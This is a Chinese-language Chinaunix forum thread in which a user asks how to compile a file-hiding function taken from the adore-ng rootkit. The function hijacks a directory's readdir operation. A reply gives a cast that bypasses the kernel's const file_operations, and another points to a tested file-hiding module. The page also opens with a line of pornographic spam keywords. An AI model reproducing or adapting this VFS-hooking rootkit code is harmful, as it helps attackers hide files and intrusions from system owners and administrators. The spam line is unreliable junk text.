亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

Chinaunix

標(biāo)題: struct file 中字段 f_op 賦值問題 [打印本頁]

作者: colorfulgreen    時間: 2010-04-05 04:38
標(biāo)題: struct file 中字段 f_op 賦值問題
編譯adore-ng-0.54的代碼時候提示“錯誤:向只讀位置‘*filep->f_op’賦值”
相關(guān)的代碼段如下:
  1. int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir)
  2. {
  3.         struct file *filep;

  4.         filep = filp_open(p, O_RDWR|O_DIRECTORY, 0);
  5.         if (IS_ERR(filep)) {
  6.                 return -1;
  7.         }

  8.         if (orig_readdir)
  9.                 *orig_readdir = filep->f_op->readdir;   //保存原始的readdir,以便rootkit退出時能恢復(fù)

  10.         filep->f_op->readdir = new_readdir;         //用new_readdir替換
  11.         filp_close(filep, 0);
  12.         return 0;
  13. }
復(fù)制代碼
fedora10的系統(tǒng),內(nèi)核版本是2.6.27.5
請問有什么方法能給f_op賦值么?
作者: ubuntuer    時間: 2010-04-05 11:53
高版本的內(nèi)核中將f_op變成了const
這樣看看
((struct file_operations *)(filep->f_op))->readdir =new_readdir;
作者: colorfulgreen    時間: 2010-04-05 14:57
按樓上的方法編譯通過了,非常感謝
作者: superfight    時間: 2010-04-05 18:23
這只能編譯通過吧~
實際執(zhí)行的話會不會報錯?~
作者: colorfulgreen    時間: 2010-04-05 18:56
這只能編譯通過吧~
實際執(zhí)行的話會不會報錯?~
superfight 發(fā)表于 2010-04-05 18:23


我只把adore里面隱藏文件的部分給提取出來湊了個模塊。
insmod沒有報錯,但是也沒有起到隱藏文件的作用。
剛接觸Linux,完全不知道怎么回事,在看怎么調(diào)程序呢。
作者: ubuntuer    時間: 2010-04-05 19:36
回復(fù) 5# colorfulgreen


    我在內(nèi)核板塊有個隱藏文件的,測試是通過了的,2.618。你可以去看下!




歡迎光臨 Chinaunix (http://72891.cn/) Powered by Discuz! X3.2